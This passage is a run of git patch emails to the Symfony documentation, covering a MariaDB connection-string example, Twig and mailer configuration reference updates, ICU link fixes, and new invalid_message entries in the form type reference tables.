From: Abdouni Abdelkarim <abdounikarim@gmail.com>
Date: Thu, 19 Nov 2020 02:12:47 +0100
Subject: [PATCH 0147/5766] Update doctrine.rst

Hello,

I just add env variable for mariadb.
---
 doctrine.rst | 3 +++
 1 file changed, 3 insertions(+)

diff --git a/doctrine.rst b/doctrine.rst
index fb491df8c2b..21b14c2ae4c 100644
--- a/doctrine.rst
+++ b/doctrine.rst
@@ -46,6 +46,9 @@ The database connection information is stored as an environment variable called
     # customize this line!
     DATABASE_URL="mysql://db_user:db_password@127.0.0.1:3306/db_name?serverVersion=5.7"
 
+    # to use mariadb:
+    DATABASE_URL="mysql://db_user:db_password@127.0.0.1:3306/db_name?serverVersion=mariadb-10.5.8"
+
     # to use sqlite:
     # DATABASE_URL="sqlite:///%kernel.project_dir%/var/app.db"
     

From 74de492ada02ece7221a55390825e013e3dedf42 Mon Sep 17 00:00:00 2001
From: Maxime Steinhausser <ogizanagi@users.noreply.github.com>
Date: Thu, 19 Nov 2020 09:23:27 +0100
Subject: [PATCH 0148/5766] Fix strict_variables default value since Symfony 5

The default was changed in https://github.com/symfony/symfony/blob/494ef421c554a78b38c6779c4b7deb9a20d89923/UPGRADE-5.0.md#twigbundle
---
 reference/configuration/twig.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/configuration/twig.rst b/reference/configuration/twig.rst
index c7d77739b1c..5d5edd1d43c 100644
--- a/reference/configuration/twig.rst
+++ b/reference/configuration/twig.rst
@@ -363,7 +363,7 @@ Read more about :ref:`template directories and namespaces <templates-namespaces>
 strict_variables
 ~~~~~~~~~~~~~~~~
 
-**type**: ``boolean`` **default**: ``false``
+**type**: ``boolean`` **default**: ``%kernel.debug%``
 
 If set to ``true``, Symfony shows an exception whenever a Twig variable,
 attribute or method doesn't exist. If set to ``false`` these errors are ignored

From 6e2a758b75744cca019edeab55fd651800236fd0 Mon Sep 17 00:00:00 2001
From: Romain Monteil <monteil.romain@gmail.com>
Date: Thu, 19 Nov 2020 17:29:25 +0100
Subject: [PATCH 0149/5766] Replace old ICU Formatting Messages url

---
 translation.rst                | 2 +-
 translation/message_format.rst | 2 +-
 2 files changed, 2 insertions(+), 2 deletions(-)

diff --git a/translation.rst b/translation.rst
index 8fdffe83baa..20025b8b5cd 100644
--- a/translation.rst
+++ b/translation.rst
@@ -607,7 +607,7 @@ Learn more
     translation/xliff
 
 .. _`i18n`: https://en.wikipedia.org/wiki/Internationalization_and_localization
-.. _`ICU MessageFormat`: http://userguide.icu-project.org/formatparse/messages
+.. _`ICU MessageFormat`: https://unicode-org.github.io/icu/userguide/format_parse/messages/
 .. _`ISO 3166-1 alpha-2`: https://en.wikipedia.org/wiki/ISO_3166-1#Current_codes
 .. _`ISO 639-1`: https://en.wikipedia.org/wiki/List_of_ISO_639-1_codes
 .. _`Translatable Extension`: http://atlantic18.github.io/DoctrineExtensions/doc/translatable.html
diff --git a/translation/message_format.rst b/translation/message_format.rst
index 4ec520682ef..218d479d795 100644
--- a/translation/message_format.rst
+++ b/translation/message_format.rst
@@ -474,7 +474,7 @@ The ``number`` formatter allows you to format numbers using Intl's :phpclass:`Nu
     echo $translator->trans('value_of_object', ['value' => 9988776.65]);
 
 .. _`online editor`: http://format-message.github.io/icu-message-format-for-translators/
-.. _`ICU MessageFormat`: http://userguide.icu-project.org/formatparse/messages
+.. _`ICU MessageFormat`: https://unicode-org.github.io/icu/userguide/format_parse/messages/
 .. _`switch statement`: https://www.php.net/control-structures.switch
 .. _`Language Plural Rules`: http://www.unicode.org/cldr/charts/latest/supplemental/language_plural_rules.html
 .. _`constants defined by the IntlDateFormatter class`: https://www.php.net/manual/en/class.intldateformatter.php

From 074db0d1024b99d44918ceca65b5a68c547982d0 Mon Sep 17 00:00:00 2001
From: Laurent VOULLEMIER <laurent.voullemier@gmail.com>
Date: Tue, 17 Nov 2020 22:16:50 +0100
Subject: [PATCH 0150/5766] Complete mailer integration

---
 mailer.rst                            |  49 +++++++++++
 reference/configuration/framework.rst | 116 +++++++++++++++++++++++++-
 2 files changed, 162 insertions(+), 3 deletions(-)

diff --git a/mailer.rst b/mailer.rst
index 025a5c43813..ebf79865a72 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -29,11 +29,58 @@ over SMTP by configuring the DSN in your ``.env`` file (the ``user``,
     # .env
     MAILER_DSN=smtp://user:pass@smtp.example.com:port
 
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/mailer.yaml
+        framework:
+            mailer:
+                dsn: '%env(MAILER_DSN)%'
+
+    .. code-block:: xml
+
+        <!-- config/packages/mailer.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+            <framework:config>
+                <framework:mailer dsn="%env(MAILER_DSN)%"/>
+            </framework:config>
+        </container>
+
+    .. code-block:: php
+
+        // config/packages/mailer.php
+        use Symfony\Component\DependencyInjection\Loader\Configurator\ContainerConfigurator;
+        return static function (ContainerConfigurator $containerConfigurator): void {
+            $containerConfigurator->extension('framework', [
+                'mailer' => [
+                    'dsn' => '%env(MAILER_DSN)%',
+                ]
+            ]);
+        };
+
 .. caution::
 
     If you are migrating from Swiftmailer (and the Swiftmailer bundle), be
     warned that the DSN format is different.
 
+Using built-in transports
+~~~~~~~~~~~~~~~~~~~~~~~~~
+
+============ ==================================== ===========
+DSN protocol Example                              Description
+============ ==================================== ===========
+smtp         smtp://user:pass@smtp.example.com:25 Mailer uses an SMTP server to send emails
+sendmail     sendmail://default                   Mailer uses the local sendmail binary to send emails
+============ ==================================== ===========
+
+
 Using a 3rd Party Transport
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
@@ -822,6 +869,8 @@ and it will select the appropriate certificate depending on the ``To`` option::
     $firstEncryptedEmail = $encrypter->encrypt($firstEmail);
     $secondEncryptedEmail = $encrypter->encrypt($secondEmail);
 
+.. _multiple-email-transports:
+
 Multiple Email Transports
 -------------------------
 
diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index cd76b908c64..255adc11fec 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -98,7 +98,7 @@ Configuration
     * `cafile`_
     * `capath`_
     * `ciphers`_
-    * `headers`_
+    * :ref:`headers <http-headers>`
     * `http_version`_
     * `local_cert`_
     * `local_pk`_
@@ -126,7 +126,7 @@ Configuration
     * `cafile`_
     * `capath`_
     * `ciphers`_
-    * `headers`_
+    * :ref:`headers <http-headers>`
     * `http_version`_
     * `local_cert`_
     * `local_pk`_
@@ -151,6 +151,17 @@ Configuration
 
     * :ref:`name <reference-lock-resources-name>`
 
+* `mailer`_
+
+  * :ref:`dsn <mailer-dsn>`
+  * `transports`_
+  * `envelope`_
+
+    * `sender`_
+    * `recipients`_
+
+  * :ref:`headers <mailer-headers>`
+
 * `php_errors`_
 
   * `log`_
@@ -159,7 +170,7 @@ Configuration
 * `profiler`_
 
   * `collect`_
-  * `dsn`_
+  * :ref:`dsn <profiler-dsn>`
   * :ref:`enabled <reference-profiler-enabled>`
   * `only_exceptions`_
   * `only_master_requests`_
@@ -867,6 +878,8 @@ ciphers
 A list of the names of the ciphers allowed for the SSL/TLS connections. They
 can be separated by colons, commas or spaces (e.g. ``'RC4-SHA:TLS13-AES-128-GCM-SHA256'``).
 
+.. _http-headers:
+
 headers
 .......
 
@@ -1075,6 +1088,8 @@ only_master_requests
 When this is set to ``true``, the profiler will only be enabled on the master
 requests (and not on the subrequests).
 
+.. _profiler-dsn:
+
 dsn
 ...
 
@@ -2888,6 +2903,101 @@ Name of the lock you want to create.
             decorates: lock.invoice.store
             arguments: ['@lock.invoice.retry_till_save.store.inner', 100, 50]
 
+mailer
+~~~~~~
+
+.. _mailer-dsn:
+
+dsn
+...
+
+**type**: ``string``
+
+The DSN used by the mailer. When several DSN may be used, use `transports` (see below) instead.
+
+transports
+..........
+
+**type**: ``array``
+
+A :ref:`list of DSN <multiple-email-transports>` that can be used by the mailer. A transport name is the key and the dsn is the value.
+
+envelope
+........
+
+sender
+""""""
+
+**type**: ``string``
+
+Sender used by the ``Mailer``. Keep in mind that this setting override a sender set in the code.
+
+recipients
+""""""""""
+
+**type**: ``array``
+
+Recipients used by the ``Mailer``. Keep in mind that this setting override recipients set in the code.
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/mailer.yaml
+        framework:
+            mailer:
+                dsn: 'smtp://localhost:25'
+                envelope:
+                    recipients: ['admin@symfony.com', 'lead@symfony.com']
+
+    .. code-block:: xml
+
+        <!-- config/packages/mailer.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+            <framework:config>
+                <framework:mailer dsn="smtp://localhost:25">
+                    <framework:envelope>
+                        <framework:recipients>admin@symfony.com</framework:recipients>
+                        <framework:recipients>lead@symfony.com</framework:recipients>
+                    </framework:envelope>
+                </framework:mailer>
+            </framework:config>
+        </container>
+
+    .. code-block:: php
+
+        // config/packages/mailer.php
+        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
+        return static function (ContainerConfigurator $containerConfigurator): void {
+            $containerConfigurator->extension('framework', [
+                'mailer' => [
+                    'dsn' => 'smtp://localhost:25',
+                    'envelope' => [
+                        'recipients' => [
+                            'admin@symfony.com',
+                            'lead@symfony.com',
+                        ]
+                    ]
+                ]
+            ]);
+        };
+
+.. _mailer-headers:
+
+headers
+.......
+
+**type**: ``array``
+
+Headers to add to emails. key (``name`` attribute in xml format)
+is the header name and value the header value.
+
 workflows
 ~~~~~~~~~
 

From 649a63397f9dc404294a037ef41deb48e92f3872 Mon Sep 17 00:00:00 2001
From: Timo Bakx <timobakx@gmail.com>
Date: Fri, 20 Nov 2020 00:34:27 +0100
Subject: [PATCH 0151/5766] [Form] Documented legacy_error_messages

---
 forms.rst                              |  43 ++++++++++
 reference/forms/types/birthday.rst     |  86 ++++++++++----------
 reference/forms/types/checkbox.rst     |  63 ++++++++-------
 reference/forms/types/choice.rst       |  99 ++++++++++++-----------
 reference/forms/types/collection.rst   |  73 +++++++++--------
 reference/forms/types/color.rst        |  63 +++++++++------
 reference/forms/types/country.rst      |  85 +++++++++++---------
 reference/forms/types/currency.rst     |  81 ++++++++++---------
 reference/forms/types/date.rst         |  88 ++++++++++----------
 reference/forms/types/dateinterval.rst |  94 ++++++++++++----------
 reference/forms/types/datetime.rst     | 106 +++++++++++++------------
 reference/forms/types/email.rst        |  59 ++++++++------
 reference/forms/types/file.rst         |  64 ++++++++-------
 reference/forms/types/form.rst         |  94 +++++++++++-----------
 reference/forms/types/hidden.rst       |  45 ++++++-----
 reference/forms/types/integer.rst      |  69 ++++++++--------
 reference/forms/types/language.rst     |  87 ++++++++++----------
 reference/forms/types/locale.rst       |  83 ++++++++++---------
 reference/forms/types/money.rst        |  77 +++++++++---------
 reference/forms/types/number.rst       |  75 ++++++++---------
 reference/forms/types/password.rst     |  60 +++++++-------
 reference/forms/types/percent.rst      |  75 ++++++++---------
 reference/forms/types/radio.rst        |  69 +++++++++-------
 reference/forms/types/range.rst        |  57 +++++++------
 reference/forms/types/repeated.rst     |  63 ++++++++-------
 reference/forms/types/search.rst       |  57 +++++++------
 reference/forms/types/tel.rst          |  59 ++++++++------
 reference/forms/types/time.rst         |  92 +++++++++++----------
 reference/forms/types/timezone.rst     |  85 +++++++++++---------
 reference/forms/types/url.rst          |  63 +++++++++------
 reference/forms/types/week.rst         |  74 +++++++++--------
 31 files changed, 1269 insertions(+), 1019 deletions(-)

diff --git a/forms.rst b/forms.rst
index ec5a04fcfc1..6e2c9ec5120 100644
--- a/forms.rst
+++ b/forms.rst
@@ -553,6 +553,49 @@ To see the second approach - adding constraints to the form - and to
 learn more about the validation constraints, please refer to the
 :doc:`Symfony validation documentation </validation>`.
 
+.. versionadded:: 5.2
+
+    Validation messages for forms have been rewritten to be more user-friendly.
+    These newer messages can be enabled by setting the `legacy_error_messages`
+    option to "false". Details about these messages can be found in the corresponding
+    form type documentation.
+
+    .. configuration-block::
+
+        .. code-block:: yaml
+
+            # config/packages/framework.yaml
+            framework:
+                form:
+                    legacy_error_messages: false
+
+        .. code-block:: xml
+
+            <!-- config/packages/framework.xml -->
+            <?xml version="1.0" encoding="UTF-8" ?>
+            <container xmlns="http://symfony.com/schema/dic/services"
+                xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+                xmlns:framework="http://symfony.com/schema/dic/symfony"
+                xsi:schemaLocation="http://symfony.com/schema/dic/services
+                    https://symfony.com/schema/dic/services/services-1.0.xsd
+                    http://symfony.com/schema/dic/symfony
+                    https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+
+                <framework:config>
+                    <framework:form legacy-error-messages="false"/>
+                </framework:config>
+            </container>
+
+        .. code-block:: php
+
+            // config/packages/framework.php
+            $container->loadFromExtension('framework', [
+                'form' => [
+                    'legacy-error-messages' => false,
+                ],
+            ]);
+
+
 Other Common Form Features
 --------------------------
 
diff --git a/reference/forms/types/birthday.rst b/reference/forms/types/birthday.rst
index 6299dbf1e09..127528bc774 100644
--- a/reference/forms/types/birthday.rst
+++ b/reference/forms/types/birthday.rst
@@ -14,51 +14,57 @@ This type is essentially the same as the :doc:`DateType </reference/forms/types/
 type, but with a more appropriate default for the `years`_ option. The `years`_
 option defaults to 120 years ago to the current year.
 
-+----------------------+-------------------------------------------------------------------------------+
-| Underlying Data Type | can be ``DateTime``, ``string``, ``timestamp``, or ``array``                  |
-|                      | (see the :ref:`input option <form-reference-date-input>`)                     |
-+----------------------+-------------------------------------------------------------------------------+
-| Rendered as          | can be three select boxes or 1 or 3 text boxes, based on the `widget`_ option |
-+----------------------+-------------------------------------------------------------------------------+
-| Overridden options   | - `years`_                                                                    |
-+----------------------+-------------------------------------------------------------------------------+
-| Inherited options    | from the :doc:`DateType </reference/forms/types/date>`:                       |
-|                      |                                                                               |
-|                      | - `choice_translation_domain`_                                                |
-|                      | - `days`_                                                                     |
-|                      | - `placeholder`_                                                              |
-|                      | - `format`_                                                                   |
-|                      | - `input`_                                                                    |
-|                      | - `input_format`_                                                             |
-|                      | - `model_timezone`_                                                           |
-|                      | - `months`_                                                                   |
-|                      | - `view_timezone`_                                                            |
-|                      | - `widget`_                                                                   |
-|                      |                                                                               |
-|                      | from the :doc:`FormType </reference/forms/types/form>`:                       |
-|                      |                                                                               |
-|                      | - `attr`_                                                                     |
-|                      | - `data`_                                                                     |
-|                      | - `disabled`_                                                                 |
-|                      | - `help`_                                                                     |
-|                      | - `help_attr`_                                                                |
-|                      | - `help_html`_                                                                |
-|                      | - `inherit_data`_                                                             |
-|                      | - `invalid_message`_                                                          |
-|                      | - `invalid_message_parameters`_                                               |
-|                      | - `mapped`_                                                                   |
-|                      | - `row_attr`_                                                                 |
-+----------------------+-------------------------------------------------------------------------------+
-| Parent type          | :doc:`DateType </reference/forms/types/date>`                                 |
-+----------------------+-------------------------------------------------------------------------------+
-| Class                | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\BirthdayType`        |
-+----------------------+-------------------------------------------------------------------------------+
++---------------------------+-------------------------------------------------------------------------------+
+| Underlying Data Type      | can be ``DateTime``, ``string``, ``timestamp``, or ``array``                  |
+|                           | (see the :ref:`input option <form-reference-date-input>`)                     |
++---------------------------+-------------------------------------------------------------------------------+
+| Rendered as               | can be three select boxes or 1 or 3 text boxes, based on the `widget`_ option |
++---------------------------+-------------------------------------------------------------------------------+
+| Overridden options        | - `invalid_message`_                                                          |
+|                           | - `years`_                                                                    |
++---------------------------+-------------------------------------------------------------------------------+
+| Inherited options         | from the :doc:`DateType </reference/forms/types/date>`:                       |
+|                           |                                                                               |
+|                           | - `choice_translation_domain`_                                                |
+|                           | - `days`_                                                                     |
+|                           | - `placeholder`_                                                              |
+|                           | - `format`_                                                                   |
+|                           | - `input`_                                                                    |
+|                           | - `input_format`_                                                             |
+|                           | - `model_timezone`_                                                           |
+|                           | - `months`_                                                                   |
+|                           | - `view_timezone`_                                                            |
+|                           | - `widget`_                                                                   |
+|                           |                                                                               |
+|                           | from the :doc:`FormType </reference/forms/types/form>`:                       |
+|                           |                                                                               |
+|                           | - `attr`_                                                                     |
+|                           | - `data`_                                                                     |
+|                           | - `disabled`_                                                                 |
+|                           | - `help`_                                                                     |
+|                           | - `help_attr`_                                                                |
+|                           | - `help_html`_                                                                |
+|                           | - `inherit_data`_                                                             |
+|                           | - `invalid_message_parameters`_                                               |
+|                           | - `mapped`_                                                                   |
+|                           | - `row_attr`_                                                                 |
++---------------------------+-------------------------------------------------------------------------------+
+| Default `invalid_message` | Please enter a valid birthdate.                                               |
++---------------------------+-------------------------------------------------------------------------------+
+| Legacy `invalid_message`  | The value {{ value }} is not valid.                                           |
++---------------------------+-------------------------------------------------------------------------------+
+| Parent type               | :doc:`DateType </reference/forms/types/date>`                                 |
++---------------------------+-------------------------------------------------------------------------------+
+| Class                     | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\BirthdayType`        |
++---------------------------+-------------------------------------------------------------------------------+
 
 .. include:: /reference/forms/types/options/_debug_form.rst.inc
 
 Overridden Options
 ------------------
 
+.. include:: /reference/forms/types/options/invalid_message.rst.inc
+
 ``years``
 ~~~~~~~~~
 
@@ -128,8 +134,6 @@ These options inherit from the :doc:`FormType </reference/forms/types/form>`:
 
 .. include:: /reference/forms/types/options/inherit_data.rst.inc
 
-.. include:: /reference/forms/types/options/invalid_message.rst.inc
-
 .. include:: /reference/forms/types/options/invalid_message_parameters.rst.inc
 
 .. include:: /reference/forms/types/options/mapped.rst.inc
diff --git a/reference/forms/types/checkbox.rst b/reference/forms/types/checkbox.rst
index aef03ef1e44..1463c542a1e 100644
--- a/reference/forms/types/checkbox.rst
+++ b/reference/forms/types/checkbox.rst
@@ -11,34 +11,39 @@ you can specify an array of values that, if submitted, will be evaluated
 to "false" as well (this differs from what HTTP defines, but can be handy
 if you want to handle submitted values like "0" or "false").
 
-+-------------+------------------------------------------------------------------------+
-| Rendered as | ``input`` ``checkbox`` field                                           |
-+-------------+------------------------------------------------------------------------+
-| Options     | - `false_values`_                                                      |
-|             | - `value`_                                                             |
-+-------------+------------------------------------------------------------------------+
-| Overridden  | - `compound`_                                                          |
-| options     | - `empty_data`_                                                        |
-+-------------+------------------------------------------------------------------------+
-| Inherited   | - `attr`_                                                              |
-| options     | - `data`_                                                              |
-|             | - `disabled`_                                                          |
-|             | - `error_bubbling`_                                                    |
-|             | - `error_mapping`_                                                     |
-|             | - `help`_                                                              |
-|             | - `help_attr`_                                                         |
-|             | - `help_html`_                                                         |
-|             | - `label`_                                                             |
-|             | - `label_attr`_                                                        |
-|             | - `label_format`_                                                      |
-|             | - `mapped`_                                                            |
-|             | - `required`_                                                          |
-|             | - `row_attr`_                                                          |
-+-------------+------------------------------------------------------------------------+
-| Parent type | :doc:`FormType </reference/forms/types/form>`                          |
-+-------------+------------------------------------------------------------------------+
-| Class       | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\CheckboxType` |
-+-------------+------------------------------------------------------------------------+
++---------------------------+------------------------------------------------------------------------+
+| Rendered as               | ``input`` ``checkbox`` field                                           |
++---------------------------+------------------------------------------------------------------------+
+| Options                   | - `false_values`_                                                      |
+|                           | - `value`_                                                             |
++---------------------------+------------------------------------------------------------------------+
+| Overridden options        | - `compound`_                                                          |
+|                           | - `empty_data`_                                                        |
+|                           | - `invalid_message`_                                                   |
++---------------------------+------------------------------------------------------------------------+
+| Inherited options         | - `attr`_                                                              |
+|                           | - `data`_                                                              |
+|                           | - `disabled`_                                                          |
+|                           | - `error_bubbling`_                                                    |
+|                           | - `error_mapping`_                                                     |
+|                           | - `help`_                                                              |
+|                           | - `help_attr`_                                                         |
+|                           | - `help_html`_                                                         |
+|                           | - `label`_                                                             |
+|                           | - `label_attr`_                                                        |
+|                           | - `label_format`_                                                      |
+|                           | - `mapped`_                                                            |
+|                           | - `required`_                                                          |
+|                           | - `row_attr`_                                                          |
++---------------------------+------------------------------------------------------------------------+
+| Default `invalid_message` | The checkbox has an invalid value.                                     |
++---------------------------+------------------------------------------------------------------------+
+| Legacy `invalid_message`  | The value {{ value }} is not valid.                                    |
++---------------------------+------------------------------------------------------------------------+
+| Parent type               | :doc:`FormType </reference/forms/types/form>`                          |
++---------------------------+------------------------------------------------------------------------+
+| Class                     | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\CheckboxType` |
++---------------------------+------------------------------------------------------------------------+
 
 .. include:: /reference/forms/types/options/_debug_form.rst.inc
 
@@ -74,6 +79,8 @@ Overridden Options
 
 .. include:: /reference/forms/types/options/checkbox_empty_data.rst.inc
 
+.. include:: /reference/forms/types/options/invalid_message.rst.inc
+
 Inherited Options
 -----------------
 
diff --git a/reference/forms/types/choice.rst b/reference/forms/types/choice.rst
index 04efd2fe02c..d0c81a829bd 100644
--- a/reference/forms/types/choice.rst
+++ b/reference/forms/types/choice.rst
@@ -9,52 +9,57 @@ It can be rendered as a ``select`` tag, radio buttons, or checkboxes.
 
 To use this field, you must specify *either* ``choices`` or ``choice_loader`` option.
 
-+-------------+------------------------------------------------------------------------------+
-| Rendered as | can be various tags (see below)                                              |
-+-------------+------------------------------------------------------------------------------+
-| Options     | - `choices`_                                                                 |
-|             | - `choice_attr`_                                                             |
-|             | - `choice_filter`_                                                           |
-|             | - `choice_label`_                                                            |
-|             | - `choice_loader`_                                                           |
-|             | - `choice_name`_                                                             |
-|             | - `choice_translation_domain`_                                               |
-|             | - `choice_value`_                                                            |
-|             | - `expanded`_                                                                |
-|             | - `group_by`_                                                                |
-|             | - `multiple`_                                                                |
-|             | - `placeholder`_                                                             |
-|             | - `preferred_choices`_                                                       |
-+-------------+------------------------------------------------------------------------------+
-| Overridden  | - `compound`_                                                                |
-| options     | - `empty_data`_                                                              |
-|             | - `error_bubbling`_                                                          |
-|             | - `trim`_                                                                    |
-+-------------+------------------------------------------------------------------------------+
-| Inherited   | - `attr`_                                                                    |
-| options     | - `by_reference`_                                                            |
-|             | - `data`_                                                                    |
-|             | - `disabled`_                                                                |
-|             | - `error_mapping`_                                                           |
-|             | - `help`_                                                                    |
-|             | - `help_attr`_                                                               |
-|             | - `help_html`_                                                               |
-|             | - `inherit_data`_                                                            |
-|             | - `label`_                                                                   |
-|             | - `label_attr`_                                                              |
-|             | - `label_format`_                                                            |
-|             | - `mapped`_                                                                  |
-|             | - `required`_                                                                |
-|             | - `row_attr`_                                                                |
-|             | - `translation_domain`_                                                      |
-|             | - `label_translation_parameters`_                                            |
-|             | - `attr_translation_parameters`_                                             |
-|             | - `help_translation_parameters`_                                             |
-+-------------+------------------------------------------------------------------------------+
-| Parent type | :doc:`FormType </reference/forms/types/form>`                                |
-+-------------+------------------------------------------------------------------------------+
-| Class       | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\ChoiceType`         |
-+-------------+------------------------------------------------------------------------------+
++---------------------------+----------------------------------------------------------------------+
+| Rendered as               | can be various tags (see below)                                      |
++---------------------------+----------------------------------------------------------------------+
+| Options                   | - `choices`_                                                         |
+|                           | - `choice_attr`_                                                     |
+|                           | - `choice_filter`_                                                   |
+|                           | - `choice_label`_                                                    |
+|                           | - `choice_loader`_                                                   |
+|                           | - `choice_name`_                                                     |
+|                           | - `choice_translation_domain`_                                       |
+|                           | - `choice_value`_                                                    |
+|                           | - `expanded`_                                                        |
+|                           | - `group_by`_                                                        |
+|                           | - `multiple`_                                                        |
+|                           | - `placeholder`_                                                     |
+|                           | - `preferred_choices`_                                               |
++---------------------------+----------------------------------------------------------------------+
+| Overridden options        | - `compound`_                                                        |
+|                           | - `empty_data`_                                                      |
+|                           | - `error_bubbling`_                                                  |
+|                           | - `trim`_                                                            |
+|                           | - `invalid_message`_                                                 |
++---------------------------+----------------------------------------------------------------------+
+| Inherited options         | - `attr`_                                                            |
+|                           | - `by_reference`_                                                    |
+|                           | - `data`_                                                            |
+|                           | - `disabled`_                                                        |
+|                           | - `error_mapping`_                                                   |
+|                           | - `help`_                                                            |
+|                           | - `help_attr`_                                                       |
+|                           | - `help_html`_                                                       |
+|                           | - `inherit_data`_                                                    |
+|                           | - `label`_                                                           |
+|                           | - `label_attr`_                                                      |
+|                           | - `label_format`_                                                    |
+|                           | - `mapped`_                                                          |
+|                           | - `required`_                                                        |
+|                           | - `row_attr`_                                                        |
+|                           | - `translation_domain`_                                              |
+|                           | - `label_translation_parameters`_                                    |
+|                           | - `attr_translation_parameters`_                                     |
+|                           | - `help_translation_parameters`_                                     |
++---------------------------+----------------------------------------------------------------------+
+| Default `invalid_message` | The selected choice is invalid.                                      |
++---------------------------+----------------------------------------------------------------------+
+| Legacy `invalid_message`  | The value {{ value }} is not valid.                                  |
++---------------------------+----------------------------------------------------------------------+
+| Parent type               | :doc:`FormType </reference/forms/types/form>`                        |
++---------------------------+----------------------------------------------------------------------+
+| Class                     | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\ChoiceType` |
++---------------------------+----------------------------------------------------------------------+
 
 .. include:: /reference/forms/types/options/_debug_form.rst.inc
 
@@ -272,6 +277,8 @@ the parent field (the form in most cases).
 
 .. include:: /reference/forms/types/options/choice_type_trim.rst.inc
 
+.. include:: /reference/forms/types/options/invalid_message.rst.inc
+
 Inherited Options
 -----------------
 
diff --git a/reference/forms/types/collection.rst b/reference/forms/types/collection.rst
index f3f0c8f4562..a30cc250f6f 100644
--- a/reference/forms/types/collection.rst
+++ b/reference/forms/types/collection.rst
@@ -11,37 +11,43 @@ forms, which is useful when creating forms that expose one-to-many
 relationships (e.g. a product from where you can manage many related product
 photos).
 
-+-------------+-----------------------------------------------------------------------------+
-| Rendered as | depends on the `entry_type`_ option                                         |
-+-------------+-----------------------------------------------------------------------------+
-| Options     | - `allow_add`_                                                              |
-|             | - `allow_delete`_                                                           |
-|             | - `delete_empty`_                                                           |
-|             | - `entry_options`_                                                          |
-|             | - `entry_type`_                                                             |
-|             | - `prototype`_                                                              |
-|             | - `prototype_data`_                                                         |
-|             | - `prototype_name`_                                                         |
-+-------------+-----------------------------------------------------------------------------+
-| Inherited   | - `attr`_                                                                   |
-| options     | - `by_reference`_                                                           |
-|             | - `empty_data`_                                                             |
-|             | - `error_bubbling`_                                                         |
-|             | - `error_mapping`_                                                          |
-|             | - `help`_                                                                   |
-|             | - `help_attr`_                                                              |
-|             | - `help_html`_                                                              |
-|             | - `label`_                                                                  |
-|             | - `label_attr`_                                                             |
-|             | - `label_format`_                                                           |
-|             | - `mapped`_                                                                 |
-|             | - `required`_                                                               |
-|             | - `row_attr`_                                                               |
-+-------------+-----------------------------------------------------------------------------+
-| Parent type | :doc:`FormType </reference/forms/types/form>`                               |
-+-------------+-----------------------------------------------------------------------------+
-| Class       | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\CollectionType`    |
-+-------------+-----------------------------------------------------------------------------+
++---------------------------+--------------------------------------------------------------------------+
+| Rendered as               | depends on the `entry_type`_ option                                      |
++---------------------------+--------------------------------------------------------------------------+
+| Options                   | - `allow_add`_                                                           |
+|                           | - `allow_delete`_                                                        |
+|                           | - `delete_empty`_                                                        |
+|                           | - `entry_options`_                                                       |
+|                           | - `entry_type`_                                                          |
+|                           | - `prototype`_                                                           |
+|                           | - `prototype_data`_                                                      |
+|                           | - `prototype_name`_                                                      |
++---------------------------+--------------------------------------------------------------------------+
+| Overridden options        | - `invalid_message`_                                                     |
++---------------------------+--------------------------------------------------------------------------+
+| Inherited options         | - `attr`_                                                                |
+|                           | - `by_reference`_                                                        |
+|                           | - `empty_data`_                                                          |
+|                           | - `error_bubbling`_                                                      |
+|                           | - `error_mapping`_                                                       |
+|                           | - `help`_                                                                |
+|                           | - `help_attr`_                                                           |
+|                           | - `help_html`_                                                           |
+|                           | - `label`_                                                               |
+|                           | - `label_attr`_                                                          |
+|                           | - `label_format`_                                                        |
+|                           | - `mapped`_                                                              |
+|                           | - `required`_                                                            |
+|                           | - `row_attr`_                                                            |
++---------------------------+--------------------------------------------------------------------------+
+| Default `invalid_message` | The collection is invalid.                                               |
++---------------------------+--------------------------------------------------------------------------+
+| Legacy `invalid_message`  | The value {{ value }} is not valid.                                      |
++---------------------------+--------------------------------------------------------------------------+
+| Parent type               | :doc:`FormType </reference/forms/types/form>`                            |
++---------------------------+--------------------------------------------------------------------------+
+| Class                     | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\CollectionType` |
++---------------------------+--------------------------------------------------------------------------+
 
 .. include:: /reference/forms/types/options/_debug_form.rst.inc
 
@@ -396,6 +402,11 @@ If you have several collections in your form, or worse, nested collections
 you may want to change the placeholder so that unrelated placeholders are
 not replaced with the same value.
 
+Overridden Options
+------------------
+
+.. include:: /reference/forms/types/options/invalid_message.rst.inc
+
 Inherited Options
 -----------------
 
diff --git a/reference/forms/types/color.rst b/reference/forms/types/color.rst
index 5dfd61915ce..f3d97c6cd1b 100644
--- a/reference/forms/types/color.rst
+++ b/reference/forms/types/color.rst
@@ -14,32 +14,38 @@ The value of the underlying ``<input type="color">`` field is always a
